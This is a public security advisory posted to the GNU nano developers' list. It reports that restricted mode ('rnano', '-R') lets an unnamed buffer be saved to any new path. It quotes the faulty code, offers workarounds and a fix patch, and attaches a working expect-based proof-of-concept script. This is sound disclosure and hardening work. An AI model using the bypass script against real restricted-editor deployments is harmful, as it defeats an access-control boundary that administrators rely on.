[SECURITY] Restricted mode bypass via unnamed-buffer save

G <[email protected]> Sat, 18 Apr 2026 23:49:20 +0200
Newsgroups gmane.editors.nano.devel
Message-ID <CAFqytU-Np_EMgcPNuiQc5uzUrSVHiWiyyTy1bL8ZozyWNtybyQ@mail.gmail.com>
# Security Advisory — Restricted Mode Bypass in GNU nano

**Project**: GNU nano
**Verified Version**: 9.0 (current release, 2026-04-08)
**Affected**: all releases since `--restricted` and new-buffer support
              coexisted (at least v8.7; likely earlier)
**Fixed in**: unfixed as of this disclosure
**Advisory Date**: 2026-04-18
**Severity**: High (bypass of documented access-control boundary)
**CWE**: CWE-284 (Improper Access Control), CWE-693 (Protection Mechanism
Failure)
**Affected Area**: `restricted mode` (`--restricted`, `-R`, or `rnano`)

---

## Overview

GNU nano contains a restricted-mode bypass that allows an **unnamed**
buffer to be saved to an arbitrary new pathname.

Although restricted mode is documented as allowing edits only to files
specified on the command line, the current implementation still
accepts free-form filename input at the Write-File prompt when the
current buffer has no filename yet.  The save path then blocks only
overwrites and renames of existing files, not writes to brand-new
paths.

A user can start nano in restricted mode **without** a file argument,
type content into the unnamed buffer, and save it to any pathname
they have write access to.

## Documented boundaries violated

This violates two explicit, user-facing security claims:

1. **`doc/nano.1:210-214`** (for `-R` / `--restricted`):

   > Restricted mode: don't read or write to any file not specified on
   > the command line.

2. **`doc/rnano.1:29-31`**:

   > This allows editing only the specified file or files, and doesn't
   > allow the user access to the filesystem nor to a command shell.

An unnamed buffer is by definition not one of the files on the command
line, so saving it is a policy violation regardless of the target.

## Scope — every save entry point is affected

The defective logic lives in `write_it_out()` (`src/files.c:2132+`),
so **every key binding or command that reaches that function on an
unnamed buffer inherits the same bypass**:

- `Ctrl+O` (`do_writeout` — `src/files.c:2374`)
- `M-S` / save-as (`do_savefile` — `src/files.c:2382`)
- `Ctrl+X` → *"Save modified buffer?"* → Yes on an unnamed buffer
- Any `.nanorc` binding to `writeout` or `savefile`
- Any user-rebound save key

A proper fix must happen at the `write_it_out` level (or earlier at
the prompt-input logic in `src/prompt.c:260-267`), **not at
`do_writeout` alone**.

## Technical summary

Input-acceptance at the Write-File prompt in `src/prompt.c:260-267`
explicitly allows filename entry when the current buffer is unnamed:

```c
else if (!ISSET(RESTRICTED) || currmenu != MWRITEFILE ||
                openfile->filename[0] == '\0') {
```

The save path in `src/files.c:2273-2291` only rejects restricted-mode
saves when `do_warning` is set, and for an unnamed buffer
`do_warning = name_exists`:

```c
if (openfile->filename[0] == '\0')
    do_warning = name_exists;
...
if (do_warning) {
    if (ISSET(RESTRICTED)) {
        warn_and_briefly_pause(_("File exists -- cannot overwrite"));
        continue;
    }
}
```

For a brand-new destination `name_exists == FALSE`, `do_warning` is
therefore `FALSE`, and the restricted check is skipped.  Control
falls through to `write_file(answer, …)` at `src/files.c:2370`, which
creates the file.

## Impact

- Creation of arbitrary new files while in restricted mode.
- Violation of the documented `rnano` / `--restricted` security model.
- Reduced trust in wrappers, kiosk setups, constrained shells, CI
  sandboxes, or any workflow that relies on `rnano` / `nano -R` as a
  policy boundary.

No elevated privileges are required and nano is not setuid; the
severity derives from bypassing the application's own advertised
access-control boundary.  In environments where `rnano` is installed
as a restricted editor for untrusted users (classic jump-host pattern),
those users can now plant files anywhere they have write access —
which is exactly what `rnano` was supposed to prevent.

## Reproduction

### Manual

1. Start restricted nano with no file argument:

   ```sh
   nano -R
   ```

2. Type some text into the unnamed buffer.
3. Press `Ctrl+O`.
4. Save the buffer to a pathname that does not yet exist, e.g.
   `/tmp/rnano-bypass-poc.txt`.
5. Verify the file was created.

### Automated PoC

```sh
bash ./poc-01-restricted-mode-bypass.sh
```

Script:
[`poc-01-restricted-mode-bypass.sh`](./poc-01-restricted-mode-bypass.sh).
Drives `nano -R` through a pseudo-terminal using `expect`, saves an
unnamed buffer to a fresh path under `/tmp`, and verifies creation.

### Observed on patched binary

With the patch from
[`0001-restricted-refuse-unnamed-buffer-save.patch`](./0001-restricted-refuse-unnamed-buffer-save.patch)
applied, the same PoC produces:

```
[ Cannot save unnamed buffer in restricted mode ]
```

and no file is created.

## Verification environment

- GNU nano 9.0, built from source with `./configure --disable-nls && make`
- macOS 25.4 (Darwin 25.4.0), `/usr/bin/expect` 5.45.4, gcc (Apple clang)
- Tested 2026-04-18

## Workarounds

Until fixed upstream:

- Do not rely on restricted nano as a hard boundary for scenarios
  where an unnamed buffer can arise (i.e. `rnano` invoked without a
  file argument).
- Require an explicit filename argument in any wrapper around `nano -R`
  / `rnano`.
- Deny launch paths (`exec`, sudo rules, restricted-shell PATH) that
  let users run `rnano` with no arguments.

## Recommended remediation

At minimum, reject write-out for unnamed buffers in restricted mode.
A candidate patch is included as
[`0001-restricted-refuse-unnamed-buffer-save.patch`](./0001-restricted-refuse-unnamed-buffer-save.patch)
— ~11 lines, gates the unnamed-buffer case at the top of the
`OVERWRITE` branch of `write_it_out()`.

The stronger, structural fix would be to maintain an explicit
allowlist of authorized paths derived from command-line file
arguments and reject any save target outside that set:

```c
if (ISSET(RESTRICTED) && !path_is_authorized(answer))
    reject;
```

As a defence-in-depth addition, the input-acceptance gate in
`src/prompt.c:260-267` can also drop its third disjunct
(`openfile->filename[0] == '\0'`) so that typing at the Write-File
prompt is disallowed entirely while restricted.  Left out of the
minimal patch to keep the change surface small.

## Disclosure model

Filed directly on the public tracker given the limited practical
impact (local access required, no privilege escalation).

## Credit

Identified during a local security review of the GNU nano 9.0 source
tree.  PoC script and candidate patch included in this advisory bundle.
:PpPpp
I love nano, BTW.
0001-restricted-refuse-unnamed-buffer-save.patch (application/octet-stream, 3.1 KB)
From: GZ
Date: 2026-04-18
Subject: [PATCH] restricted: refuse to save an unnamed buffer

In restricted mode, an unnamed buffer ("New Buffer") could be saved to
an arbitrary new pathname via the Write File prompt (^O, ^X+save, M-S,
or any binding reaching write_it_out()).  The existing restricted-mode
gate at files.c:2287 only fires inside the `do_warning` branch, which
for an unnamed buffer is only entered when the target already exists.
A brand-new pathname bypassed the check.

This contradicts the documented behaviour in doc/nano.1:

    -R, --restricted
        Restricted mode: don't read or write to any file not specified
        on the command line.

and in doc/rnano.1:29-31:

    This allows editing only the specified file or files, and doesn't
    allow the user access to the filesystem nor to a command shell.

An unnamed buffer is by definition not one of the files specified on
the command line, so saving it in restricted mode is a policy
violation regardless of whether the destination exists.

The fix is a single gate at the top of the OVERWRITE branch of
write_it_out(): if RESTRICTED is set and the buffer has no filename,
reject the save.  This covers every entry point that funnels through
write_it_out() (do_writeout, do_savefile, the ^X+save flow, and any
user-rebound save key).

Verified on GNU nano 9.0 built from source on macOS, against a PoC
that spawns `nano --restricted`, types content, presses ^O, and enters
a new pathname under /tmp.  Before the patch the file is created; after
the patch nano displays "Cannot save unnamed buffer in restricted mode"
and the file is not created.

---
 src/files.c | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/src/files.c b/src/files.c
index XXXXXXX..XXXXXXX 100644
--- a/src/files.c
+++ b/src/files.c
@@ -2265,6 +2265,17 @@ int write_it_out(bool exiting, bool withprompt)
 			char *full_answer, *full_filename;
 			struct stat fileinfo;

+			/* In restricted mode, refuse to save an unnamed buffer:
+			 * such a buffer was not among the files specified on the
+			 * command line, and doc/nano.1 documents that --restricted
+			 * forbids writing to any file not specified there. */
+			if (ISSET(RESTRICTED) && openfile->filename[0] == '\0') {
+				/* TRANSLATORS: Keep this at most 76 characters. */
+				warn_and_briefly_pause(_("Cannot save unnamed "
+						"buffer in restricted mode"));
+				continue;
+			}
+
 			full_answer = get_full_path(answer);
 			full_filename = get_full_path(openfile->filename);
 			name_exists = (stat((full_answer == NULL) ?
--
2.x

## Optional defence-in-depth (not included above)

The input-acceptance gate in src/prompt.c:260-267 also lets the user
type at the Write-File prompt when the buffer is unnamed:

    else if (!ISSET(RESTRICTED) || currmenu != MWRITEFILE ||
                    openfile->filename[0] == '\0') {

Dropping the third disjunct would block typing at MWRITEFILE in
restricted mode entirely, which is harmless because the write itself
is now rejected anyway.  Left out of this minimal patch to limit the
change surface; maintainers may consider it as a separate hardening.
poc-01-restricted-mode-bypass.sh (text/x-sh, 1.7 KB)
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd -- "$SCRIPT_DIR/../.." && pwd)"

DEFAULT_NANO_BIN="$REPO_ROOT/src/nano"
NANO_BIN="${NANO_BIN:-$DEFAULT_NANO_BIN}"
OUT_PATH="${OUT_PATH:-/tmp/nano-restricted-bypass-${USER:-user}-$$.txt}"
PAYLOAD="${PAYLOAD:-restricted-mode-bypass-poc}"

if [[ ! -x "$NANO_BIN" ]]; then
    NANO_BIN="$(command -v nano || true)"
fi

if [[ -z "$NANO_BIN" || ! -x "$NANO_BIN" ]]; then
    echo "error: nano binary not found" >&2
    exit 1
fi

if ! command -v expect >/dev/null 2>&1; then
    echo "error: expect is required for this PoC" >&2
    exit 1
fi

rm -f "$OUT_PATH"

echo "[PoC 1] Restricted mode bypass via unnamed-buffer save"
echo "Using nano binary: $NANO_BIN"
echo "Target output path: $OUT_PATH"

POC_NANO_BIN="$NANO_BIN" \
POC_OUT_PATH="$OUT_PATH" \
POC_PAYLOAD="$PAYLOAD" \
expect <<'EOF'
log_user 0
set timeout 15

set nano_bin $env(POC_NANO_BIN)
set out_path $env(POC_OUT_PATH)
set payload $env(POC_PAYLOAD)

spawn env TERM=xterm-256color "$nano_bin" -I -R
sleep 1
send -- "$payload"
sleep 1
send -- \017
sleep 1
send -- "$out_path\r"
sleep 1
send -- \030
expect eof
EOF

if [[ ! -f "$OUT_PATH" ]]; then
    echo
    echo "PoC did not create the file."
    echo "This can mean the target binary is patched or the interaction failed."
    exit 2
fi

if ! grep -Fxq "$PAYLOAD" "$OUT_PATH"; then
    echo
    echo "PoC created the file, but the payload does not match."
    echo "Created file contents:"
    cat "$OUT_PATH"
    exit 3
fi

echo
echo "SUCCESS: restricted mode allowed writing a new arbitrary file."
echo "Created file: $OUT_PATH"
echo "Contents:"
cat "$OUT_PATH"
echo
echo "Cleanup:"
echo "  rm -f \"$OUT_PATH\""